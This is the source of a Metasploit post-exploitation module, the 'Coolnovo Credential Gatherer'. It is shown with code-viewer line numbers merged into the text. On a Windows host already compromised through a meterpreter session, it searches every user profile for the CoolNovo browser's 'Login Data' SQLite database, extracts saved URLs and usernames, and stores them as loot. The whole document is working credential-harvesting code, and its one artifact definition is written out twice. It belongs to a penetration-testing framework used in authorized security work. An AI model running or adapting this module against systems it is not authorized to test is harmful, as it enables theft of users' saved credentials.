Path: blob/master/modules/post/windows/gather/credentials/coolnovo.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'coolnovo',12app_category: 'browsers',13gatherable_artifacts: [14{15filetypes: 'logins',16path: 'LocalAppData',17dir: 'MapleStudio',18artifact_file_name: 'Login Data',19description: 'CoolNovo saved Username and Passwords',20credential_type: 'sqlite',21sql_search: [22{23sql_description: "Database Commands which exports Coolnovo's Login data",24sql_table: 'logins',25sql_column: 'action_url, username_value'26}27]28},29{30filetypes: 'logins',31path: 'LocalAppData',32dir: 'MapleStudio',33artifact_file_name: 'Login Data',34description: 'CoolNovo saved Username and Passwords',35credential_type: 'sqlite',36sql_search: [37{38sql_description: "Database Commands which exports Coolnovo's Login data",39sql_table: 'logins',40sql_column: 'action_url, username_value'41}42]43}4445]46}.freeze4748def initialize(info = {})49super(50update_info(51info,52'Name' => 'Coolnovo Credential Gatherer',53'Description' => %q{54This module searches for Coolnovo credentials on a Windows host.55},56'License' => MSF_LICENSE,57'Author' => [58'Kazuyoshi Maruta',59'Daniel Hallsworth',60'Barwar Salim M',61'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org62],63'Platform' => ['win'],64'SessionTypes' => ['meterpreter'],65'Notes' => {66'Stability' => [CRASH_SAFE],67'Reliability' => [],68'SideEffects' => []69}70)71)7273register_options(74[75OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),76OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),77OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),78# enumerates the options based on the artifacts that are defined below79OptEnum.new('ARTIFACTS', [80false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|81k[:filetypes]82end.uniq.unshift('All')83])84]85)86end8788def run89print_status('Filtering based on these selections: ')90print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")91print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")92print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")9394# used to grab files for each user on the remote host95grab_user_profiles.each do |userprofile|96run_packrat(userprofile, ARTIFACTS)97end9899print_status 'PackRat credential sweep completed'100end101end102103104